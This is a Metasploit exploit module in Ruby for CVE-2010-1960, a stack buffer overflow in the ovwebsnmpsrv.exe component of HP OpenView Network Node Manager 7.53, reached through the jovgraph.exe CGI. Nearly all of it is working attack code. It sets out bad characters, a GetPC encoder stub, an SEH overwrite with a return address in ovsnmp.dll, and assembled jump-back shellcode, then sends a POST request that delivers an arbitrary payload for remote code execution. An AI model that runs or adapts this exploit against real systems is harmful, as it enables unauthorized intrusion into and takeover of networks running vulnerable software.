142 lines
5.0 KiB
Ruby
142 lines
5.0 KiB
Ruby
##
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# This module requires Metasploit: http://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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require 'msf/core'
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class Metasploit3 < Msf::Exploit::Remote
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Rank = GreatRanking
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HttpFingerPrint = { :method => 'HEAD', :uri => '/OvCgi/jovgraph.exe', :pattern => /Hewlett-Packard Development Company/ }
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include Msf::Exploit::Remote::HttpClient
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include Msf::Exploit::Seh
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def initialize(info = {})
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super(update_info(info,
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'Name' => 'HP OpenView Network Node Manager ovwebsnmpsrv.exe Unrecognized Option Buffer Overflow',
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'Description' => %q{
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This module exploits a stack buffer overflow in HP OpenView Network Node Manager 7.53
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prior to NNM_01203. By specifying a long 'arg' parameter when executing the 'jovgraph.exe'
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CGI program, an attacker can cause a stack-based buffer overflow and execute arbitrary code.
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The vulnerable code is within the option parsing function within "ovwebsnmpsrv.exe" with a
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timestamp prior to April 7th, 2010.
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Reaching the vulnerable code requires a 'POST' request with an 'arg' parameter that, when combined
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with a some static text, exceeds 10240 bytes. The parameter must begin with a dash. It is
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important to note that this vulnerability must be exploited by overwriting SEH. This is since
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overflowing the buffer with controllable data always triggers an access violation when
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attempting to write static text beyond the end of the stack.
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Exploiting this issue is a bit tricky due to a restrictive character set. In order to accomplish
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arbitrary code execution, a double-backward jump is used in combination with the Alpha2
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encoder.
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} ,
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'Author' =>
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[
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'jduck' # Metasploit module
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],
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'License' => MSF_LICENSE,
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'References' =>
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[
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[ 'CVE', '2010-1960' ],
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[ 'OSVDB', '65427' ],
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[ 'BID', '40637' ],
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[ 'ZDI', '10-105' ],
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[ 'URL', 'http://h20000.www2.hp.com/bizsupport/TechSupport/Document.jsp?objectID=c02217439' ]
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],
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'DefaultOptions' =>
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{
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'EXITFUNC' => 'process',
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},
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'Privileged' => false,
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'Payload' =>
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{
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'Space' => 10240, # 10240 byte buffer..
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# In addition to regular HTTP type bad chars, this one also has
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# an issue with " since the buffer is being passed on the command line.
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'BadChars' => (0x00..0x1f).to_a.pack('C*') + "\x20\x21\x22\x24\x2c\x3b\x3c\x3e\x60",
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'DisableNops' => true,
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# Manually use FPU to get EIP into ECX
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'PrependEncoder' => "\x89\xe2\xdb\xdb\xd9\x72\xf4\x59\x83\xe9\xf7",
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'EncoderOptions' => { 'BufferRegister' => 'ecx' },
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},
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'Platform' => 'win',
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'Targets' =>
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[
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[ 'HP OpenView Network Node Manager 7.53 w/NNM_01206',
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{
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'Ret' => 0x5a238ba7, # pop edx/pop ebp/ret - in ovsnmp.dll v1.30.10.9166
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}
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],
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[ 'Debug Target',
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{
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'Ret' => 0xdeadbeef, # crasher
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}
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]
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],
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'DefaultTarget' => 0,
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'DisclosureDate' => 'Jun 08 2010'))
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end
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def exploit
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print_status("Trying target #{target.name}...")
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cgi = '/OvCgi/jovgraph.exe'
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# A long command line option (starts with -) will cause a buffer overflow.
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# Action just has to be set, doesn't matter what it is.
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action = rand_text_alphanumeric(1)
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# "timestamp" cannot be set.
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start = 'Unrecognized option: '
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# SEH
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seh_offset = 0x2cb0 # 0x13ffb0 - 0x13d300
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seh_frame = generate_seh_record(target.ret)
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# Jump back to the payload, after p/p/r jumps to us.
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# NOTE: Putting the jmp_back after the SEH handler seems to avoid problems with badchars..
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# 8 for SEH.Next+SEH.Func, 5 for the jmp_back itself
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distance = seh_offset - 1 + seh_frame.length # dry run
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jmp_back = Metasm::Shellcode.assemble(Metasm::Ia32.new, "jmp $-" + distance.to_s).encode_string
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distance = seh_offset - start.length - 1 - jmp_back.length
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jmp_back = Metasm::Shellcode.assemble(Metasm::Ia32.new, "jmp $-" + distance.to_s).encode_string
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# A short jump back to the long jump back :)
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jmp_small = Metasm::Shellcode.assemble(Metasm::Ia32.new, "jmp $-" + jmp_back.length.to_s).encode_string
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jmp_small << rand_text(2)
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buf = '-'
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buf << payload.encoded
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buf << "A" * (seh_offset - start.length - buf.length - jmp_back.length)
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buf << jmp_back
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buf << jmp_small
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buf << [target.ret].pack('V')
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# Send the request
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res = send_request_cgi({
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'uri' => cgi,
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'method' => "POST",
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'vars_post' =>
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{
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'act' => action,
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'arg' => buf,
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}
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}, 3)
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if res and res.code != 502
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print_error("Eek! We weren't expecting a response, but we got one")
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print_status(res.to_s) if datastore['NNM_DEBUG']
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end
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handler
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end
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end
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